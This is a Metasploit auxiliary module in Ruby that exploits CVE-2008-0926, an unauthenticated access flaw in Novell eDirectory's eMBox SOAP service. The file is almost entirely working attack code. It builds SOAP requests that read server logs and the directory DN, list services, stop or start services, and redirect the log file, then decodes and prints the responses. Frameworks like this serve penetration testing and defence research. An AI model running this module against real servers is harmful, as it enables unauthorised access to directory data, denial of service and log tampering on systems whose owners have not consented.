##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Novell eDirectory eMBox Unauthenticated File Access',
			'Description'    => %q{
					This module will access Novell eDirectory's eMBox service and can run the
				following actions via the SOAP interface: GET_DN, READ_LOGS, LIST_SERVICES,
				STOP_SERVICE, START_SERVICE, SET_LOGFILE.
			},
			'References'     =>
				[
					[ 'CVE', '2008-0926' ],
					[ 'BID', '28441' ],
					[ 'OSVDB', '43690' ]
				],
			'Author'         =>
				[
					'Nicob',
					'MC',    #Initial Metasploit module
					'sinn3r'
				],
			'License'        => MSF_LICENSE,
			'Actions'        =>
				[
					[
						'GET_DN',
						{
							'Description' => 'Get DN',
							'CMD'         => 'novell.embox.connmgr.serverinfo',
							'PATTERN'     => /<ServerDN dt="Binary">(.*)<\/ServerDN>/,
							'USE_PARAM'   => false
						}
					],
					[
						'READ_LOGS',
						{
							'Description' => 'Read all the log files',
							'CMD'         => 'logger.readlog',
							'PATTERN'     => /<LogFileData>(.*)<\/LogFileData>/,
							'USE_PARAM'   => false
						}
					],
					[
						'LIST_SERVICES',
						{
							'Description' => 'List services',
							'CMD'         => 'novell.embox.service.getServiceList',
							'PATTERN'     => /<DSService:Message dt=\"Binary\">(.*)<\/DSService:Message>/,
							'USE_PARAM'   => false
						}
					],
					[
						'STOP_SERVICE',
						{
							'Description' => 'Stop a service',
							'CMD'         => 'novell.embox.service.stopService',
							'PATTERN'     => /<DSService:Message dt="Binary">(.*)<\/DSService:Message>/,
							'PARAM'       => '<Parameters><params xmlns:DSService="service.dtd">'+
							                 '<DSService:moduleName>__PARAM__</DSService:moduleName>'+
							                 '</params></Parameters>',
							'USE_PARAM'   => true
						}
					],
					[
						'START_SERVICE',
						{
							'Description' => 'Start a service',
							'CMD'         => 'novell.embox.service.startService',
							'PATTERN'     => /<DSService:Message dt="Binary">(.*)<\/DSService:Message>/,
							'PARAM'       => '<Parameters>' + 
							                 '<params xmlns:DSService="service.dtd">' + 
							                 '<DSService:moduleName>__PARAM__</DSService:moduleName>'+
							                 '</params></Parameters>',
							'USE_PARAM'   => true
						}
					],
					[
						'SET_LOGFILE',
						{
							'Description' => 'Read Log File',
							'CMD'         => 'logger.setloginfo',
							'PATTERN'     => /<Logger:Message dt="Binary">(.*)<\/Logger:Message>/,
							'PARAM'       => '<Parameters><params><logFile>__PARAM__</logFile>'+
							                 '<logOptionAppend/></params></Parameters>',
							'USE_PARAM'   => true
						}
					]
				],
			'DefaultAction'  => 'LIST_SERVICES'
		))

		register_options(
			[
				Opt::RPORT(8028),
				OptString.new("PARAM", [false, 'Specify a parameter for the action'])
			], self.class)
	end

	def run

		if action.opts['USE_PARAM']
			if datastore['PARAM'].nil? or datastore['PARAM'].empty?
				print_error("You must supply a parameter for action: #{action.name}")
				return
			else
				param = action.opts['PARAM'].gsub(/__PARAM__/, datastore['PARAM'])
			end
		else
			param = '<Parameters><params/></Parameters>'
		end

		template = %Q|<?xml version="1.0"?>
		<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
		<SOAP-ENV:Header/>
		<SOAP-ENV:Body>
		<dispatch>
		<Action>#{action.opts['CMD']}</Action>
		<Object/>#{param}</dispatch>
		</SOAP-ENV:Body>
		</SOAP-ENV:Envelope>|

		template = template.gsub(/^\t\t/, '')
		template = template.gsub(/\n/, '')

		connect
		print_status("Sending command: #{action.name}...")
		res = send_request_cgi({
			'method'   => 'POST',
			'uri'      => '/SOAP',
			'data'     => template + "\n\n",
			'headers'  =>
				{
					'Content-Type' => 'text/xml',
					'SOAPAction' => "\"" + Rex::Text.rand_text_alpha_upper(rand(25) + 1) + "\"",
				}
		}, 25)

		raw_data = res.body.scan(/#{action.opts['PATTERN']}/).flatten[0]
		print_line("\n" + Rex::Text.decode_base64(raw_data))

		disconnect
	end
end